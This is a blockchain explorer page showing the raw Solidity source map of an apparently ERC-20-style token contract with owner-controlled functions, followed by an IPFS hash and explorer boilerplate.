-1:-1:-1;3617:144:0;;;;;:::i;:::-;;:::i;6640:473::-;;;;;;;;;;-1:-1:-1;6640:473:0;;;;;:::i;:::-;;:::i;1189:33::-;;;;;;;;;;-1:-1:-1;1189:33:0;;;;;;;;6321:311;;;;;;;;;;;;;:::i;3257:161::-;;;;;;;;;;-1:-1:-1;3257:161:0;;;;;:::i;:::-;;:::i;2198:270::-;;;;;;;;;;-1:-1:-1;2198:270:0;;;;;:::i;:::-;;:::i;3769:152::-;3837:4;3854:37;3863:10;3875:7;3884:6;3854:8;:37::i;:::-;-1:-1:-1;3909:4:0;3769:152;;;;;:::o;3929:242::-;4045:4;4062:41;4078:4;4084:10;4096:6;4062:15;:41::i;:::-;4114:27;4124:4;4130:2;4134:6;4114:9;:27::i;:::-;-1:-1:-1;4159:4:0;3929:242;;;;;:::o;4179:278::-;4286:4;4303:124;4326:10;4351:7;4406:10;4373:30;4383:10;4395:7;4373:9;:30::i;:::-;:43;;;;:::i;:::-;4303:8;:124::i;2476:180::-;1718:6;;-1:-1:-1;;;;;1718:6:0;1704:10;:20;1696:56;;;;-1:-1:-1;;;1696:56:0;;;;;;;:::i;:::-;;;;;;;;;2554:6:::1;::::0;;-1:-1:-1;;;;;;2571:19:0;::::1;::::0;;;2606:42:::1;::::0;-1:-1:-1;;;;;2554:6:0;;::::1;::::0;2535:16:::1;::::0;2554:6;;2606:42:::1;::::0;2535:16;;2606:42:::1;2524:132;2476:180::o:0;2047:143::-;1718:6;;-1:-1:-1;;;;;1718:6:0;1704:10;:20;1696:56;;;;-1:-1:-1;;;1696:56:0;;;;;;;:::i;:::-;2110:13:::1;::::0;::::1;;2102:49;;;::::0;-1:-1:-1;;;2102:49:0;;3307:2:1;2102:49:0::1;::::0;::::1;3289:21:1::0;3346:2;3326:18;;;3319:30;3385:25;3365:18;;;3358:53;3428:18;;2102:49:0::1;3105:347:1::0;2102:49:0::1;2162:13;:20:::0;;-1:-1:-1;;2162:20:0::1;2178:4;2162:20;::::0;;2047:143::o;4465:454::-;4577:4;4594:24;4621:30;4631:10;4643:7;4621:9;:30::i;:::-;4594:57;;4704:15;4684:16;:35;;4662:115;;;;-1:-1:-1;;;4662:115:0;;3659:2:1;4662:115:0;;;3641:21:1;3698:2;3678:18;;;3671:30;3737:32;3717:18;;;3710:60;3787:18;;4662:115:0;3457:354:1;4662:115:0;4813:65;4822:10;4834:7;4862:15;4843:16;:34;4813:8;:65::i;3617:144::-;3681:4;3698:33;3708:10;3720:2;3724:6;3698:9;:33::i;6640:473::-;1718:6;;-1:-1:-1;;;;;1718:6:0;1704:10;:20;1696:56;;;;-1:-1:-1;;;1696:56:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;6734:19:0;::::1;6726:53;;;::::0;-1:-1:-1;;;6726:53:0;;4018:2:1;6726:53:0::1;::::0;::::1;4000:21:1::0;4057:2;4037:18;;;4030:30;-1:-1:-1;;;4076:18:1;;;4069:51;4137:18;;6726:53:0::1;3816:345:1::0;6726:53:0::1;6860:38;::::0;-1:-1:-1;;;6860:38:0;;6892:4:::1;6860:38;::::0;::::1;1258:51:1::0;6820:5:0;;6790:20:::1;::::0;-1:-1:-1;;;;;6860:23:0;::::1;::::0;::::1;::::0;1231:18:1;;6860:38:0::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6837:61:::0;-1:-1:-1;7016:25:0::1;::::0;;6993:63:::1;::::0;-1:-1:-1;;;6993:63:0;;-1:-1:-1;;;;;7016:25:0;;::::1;6993:63:::0;;::::1;4879:51:1::0;;;;4946:18;;;4939:34;;;6993:22:0;::::1;::::0;::::1;::::0;4852:18:1;;6993:63:0::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6971:134;;;::::0;-1:-1:-1;;;6971:134:0;;5468:2:1;6971:134:0::1;::::0;::::1;5450:21:1::0;5507:2;5487:18;;;5480:30;-1:-1:-1;;;5526:18:1;;;5519:51;5587:18;;6971:134:0::1;5266:345:1::0;6971:134:0::1;6715:398;;6640:473:::0;:::o;6321:311::-;1718:6;;-1:-1:-1;;;;;1718:6:0;1704:10;:20;1696:56;;;;-1:-1:-1;;;1696:56:0;;;;;;;:::i;:::-;6409:21:::1;6449:11:::0;6441:42:::1;;;::::0;-1:-1:-1;;;6441:42:0;;5818:2:1;6441:42:0::1;::::0;::::1;5800:21:1::0;5857:2;5837:18;;;5830:30;-1:-1:-1;;;5876:18:1;;;5869:48;5934:18;;6441:42:0::1;5616:342:1::0;6441:42:0::1;6523:25;::::0;6515:59:::1;::::0;6497:12:::1;::::0;-1:-1:-1;;;;;6523:25:0::1;::::0;6562:7;;6497:12;6515:59;6497:12;6515:59;6562:7;6523:25;6515:59:::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6496:78;;;6593:7;6585:39;;;::::0;-1:-1:-1;;;6585:39:0;;6375:2:1;6585:39:0::1;::::0;::::1;6357:21:1::0;6414:2;6394:18;;;6387:30;-1:-1:-1;;;6433:18:1;;;6426:49;6492:18;;6585:39:0::1;6173:343:1::0;6585:39:0::1;6380:252;;6321:311::o:0;3257:161::-;-1:-1:-1;;;;;3382:19:0;;;3355:7;3382:19;;;:11;:19;;;;;;;;:28;;;;;;;;;;;;;3257:161::o;2198:270::-;1718:6;;-1:-1:-1;;;;;1718:6:0;1704:10;:20;1696:56;;;;-1:-1:-1;;;1696:56:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;2281:22:0;::::1;2273:67;;;::::0;-1:-1:-1;;;2273:67:0;;6723:2:1;2273:67:0::1;::::0;::::1;6705:21:1::0;;;6742:18;;;6735:30;6801:34;6781:18;;;6774:62;6853:18;;2273:67:0::1;6521:356:1::0;2273:67:0::1;2370:6;::::0;;-1:-1:-1;;;;;2387:17:0;;::::1;-1:-1:-1::0;;;;;;2387:17:0;::::1;::::0;::::1;::::0;;;2420:40:::1;::::0;2370:6;::::1;::::0;2387:17;2370:6;;2420:40:::1;::::0;2351:16:::1;::::0;2420:40:::1;2262:206;2198:270:::0;:::o;5510:354::-;-1:-1:-1;;;;;5639:20:0;;5631:58;;;;-1:-1:-1;;;5631:58:0;;7084:2:1;5631:58:0;;;7066:21:1;7123:2;7103:18;;;7096:30;7162:27;7142:18;;;7135:55;7207:18;;5631:58:0;6882:349:1;5631:58:0;-1:-1:-1;;;;;5708:21:0;;5700:57;;;;-1:-1:-1;;;5700:57:0;;7438:2:1;5700:57:0;;;7420:21:1;7477:2;7457:18;;;7450:30;7516:25;7496:18;;;7489:53;7559:18;;5700:57:0;7236:347:1;5700:57:0;-1:-1:-1;;;;;5770:19:0;;;;;;;:11;:19;;;;;;;;:28;;;;;;;;;;;;;:37;;;5823:33;;1657:25:1;;;5823:33:0;;1630:18:1;5823:33:0;;;;;;;5510:354;;;:::o;5872:441::-;6000:24;6027:26;6037:6;6045:7;6027:9;:26::i;:::-;6000:53;;-1:-1:-1;;6068:16:0;:37;6064:242;;6150:6;6130:16;:26;;6122:61;;;;-1:-1:-1;;;6122:61:0;;7790:2:1;6122:61:0;;;7772:21:1;7829:2;7809:18;;;7802:30;-1:-1:-1;;;7848:18:1;;;7841:52;7910:18;;6122:61:0;7588:346:1;6122:61:0;6227:52;6236:6;6244:7;6272:6;6253:16;:25;6227:8;:52::i;:::-;5989:324;5872:441;;;:::o;4927:575::-;-1:-1:-1;;;;;5016:18:0;;5008:57;;;;-1:-1:-1;;;5008:57:0;;8141:2:1;5008:57:0;;;8123:21:1;8180:2;8160:18;;;8153:30;8219:28;8199:18;;;8192:56;8265:18;;5008:57:0;7939:350:1;5008:57:0;-1:-1:-1;;;;;5084:16:0;;5076:53;;;;-1:-1:-1;;;5076:53:0;;8496:2:1;5076:53:0;;;8478:21:1;8535:2;8515:18;;;8508:30;8574:26;8554:18;;;8547:54;8618:18;;5076:53:0;8294:348:1;5076:53:0;-1:-1:-1;;;;;5238:15:0;;5216:19;5238:15;;;;;;;;;;;5272:21;;;;5264:65;;;;-1:-1:-1;;;5264:65:0;;9259:2:1;5264:65:0;;;9241:21:1;9298:2;9278:18;;;9271:30;9337:33;9317:18;;;9310:61;9388:18;;5264:65:0;9057:355:1;5264:65:0;-1:-1:-1;;;;;5367:15:0;;;:9;:15;;;;;;;;;;;5385:20;;;5367:38;;5427:13;;;;;;;;:23;;5399:6;;5367:9;5427:23;;5399:6;;5427:23;:::i;:::-;;;;;;;;5483:2;-1:-1:-1;;;;;5468:26:0;5477:4;-1:-1:-1;;;;;5468:26:0;;5487:6;5468:26;;;;1657:25:1;;1645:2;1630:18;;1511:177;5468:26:0;;;;;;;;4997:505;4927:575;;;:::o;14:418:1:-;163:2;152:9;145:21;126:4;195:6;189:13;238:6;233:2;222:9;218:18;211:34;297:6;292:2;284:6;280:15;275:2;264:9;260:18;254:50;353:1;348:2;339:6;328:9;324:22;320:31;313:42;423:2;416;412:7;407:2;399:6;395:15;391:29;380:9;376:45;372:54;364:62;;;14:418;;;;:::o;437:173::-;505:20;;-1:-1:-1;;;;;554:31:1;;544:42;;534:70;;600:1;597;590:12;534:70;437:173;;;:::o;615:300::-;683:6;691;744:2;732:9;723:7;719:23;715:32;712:52;;;760:1;757;750:12;712:52;783:29;802:9;783:29;:::i;:::-;773:39;881:2;866:18;;;;853:32;;-1:-1:-1;;;615:300:1:o;1320:186::-;1379:6;1432:2;1420:9;1411:7;1407:23;1403:32;1400:52;;;1448:1;1445;1438:12;1400:52;1471:29;1490:9;1471:29;:::i;:::-;1461:39;1320:186;-1:-1:-1;;;1320:186:1:o;1693:374::-;1770:6;1778;1786;1839:2;1827:9;1818:7;1814:23;1810:32;1807:52;;;1855:1;1852;1845:12;1807:52;1878:29;1897:9;1878:29;:::i;:::-;1868:39;;1926:38;1960:2;1949:9;1945:18;1926:38;:::i;:::-;1693:374;;1916:48;;-1:-1:-1;;;2033:2:1;2018:18;;;;2005:32;;1693:374::o;2261:260::-;2329:6;2337;2390:2;2378:9;2369:7;2365:23;2361:32;2358:52;;;2406:1;2403;2396:12;2358:52;2429:29;2448:9;2429:29;:::i;:::-;2419:39;;2477:38;2511:2;2500:9;2496:18;2477:38;:::i;:::-;2467:48;;2261:260;;;;;:::o;2526:222::-;2591:9;;;2612:10;;;2609:133;;;2664:10;2659:3;2655:20;2652:1;2645:31;2699:4;2696:1;2689:15;2727:4;2724:1;2717:15;2753:347;2955:2;2937:21;;;2994:2;2974:18;;;2967:30;3033:25;3028:2;3013:18;;3006:53;3091:2;3076:18;;2753:347::o;4166:184::-;4236:6;4289:2;4277:9;4268:7;4264:23;4260:32;4257:52;;;4305:1;4302;4295:12;4257:52;-1:-1:-1;4328:16:1;;4166:184;-1:-1:-1;4166:184:1:o;4984:277::-;5051:6;5104:2;5092:9;5083:7;5079:23;5075:32;5072:52;;;5120:1;5117;5110:12;5072:52;5152:9;5146:16;5205:5;5198:13;5191:21;5184:5;5181:32;5171:60;;5227:1;5224;5217:12

Swarm Source

ipfs://02d6e4a71ff0a59325587f7093afc9c9e8645224d24e772c8be9576e4aa91a45

Block Uncle Number Difficulty Gas Used Reward
View All Uncles
Loading...
Loading
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]

A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.